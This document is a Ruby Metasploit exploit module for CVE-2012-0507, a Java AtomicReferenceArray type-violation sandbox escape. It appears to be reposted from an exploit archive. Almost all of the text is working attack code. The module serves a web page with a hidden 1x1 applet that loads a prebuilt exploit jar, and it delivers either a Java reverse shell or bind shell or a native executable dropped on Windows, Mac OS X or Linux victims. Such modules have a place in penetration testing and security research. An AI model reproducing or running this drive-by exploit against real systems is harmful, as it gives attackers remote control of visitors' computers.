Java – AtomicReferenceArray Type Violation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize( info = {} ) super( update_info( info, 'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability', 'Description' => %q{ This module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', # metasploit module 'juan vazquez', # metasploit module 'egypt' # special assistance ], 'References' => [ ['CVE', '2012-0507'], ['BID', '52161'], ['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'], ['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'] ], 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 14 2012' )) end def exploit # load the static jar file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0507.jar" ) fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close super end def on_request_uri( cli, request ) data = "" host = "" port = "" peer = "#{cli.peerhost}:#{cli.peerport}" if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status("#{peer} - Sending #{self.name}") payload = regenerate_payload( cli ) if not payload print_error("#{peer} - Failed to generate the payload." ) return end if target.name == 'Generic (Java Payload)' if datastore['LHOST'] jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" ) else port = datastore['LPORT'] datastore['RHOST'] = cli.peerhost vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." ) end if jar print_status( "Generated jar to drop (#{jar.length} bytes)." ) jar = Rex::Text.to_hex( jar, prefix="" ) else print_error("#{peer} - Failed to generate the executable." ) return end else # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe if data print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) else print_error("#{peer} - Failed to generate the executable." ) return end end send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) return end print_status( "#{peer} - sending jar..." ) send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html( data, jar, host, port ) jar_name = rand_text_alpha(rand(6)+3) + ".jar" html = "<html><head></head>" html += "<body>" html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">" html += "<param name=\"data\" value=\"#{data}\"/>" if data html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "<param name=\"lport\" value=\"#{port}\"/>" if port html += "</applet></body></html>" return html end def generate_jar() return @jar_data end end |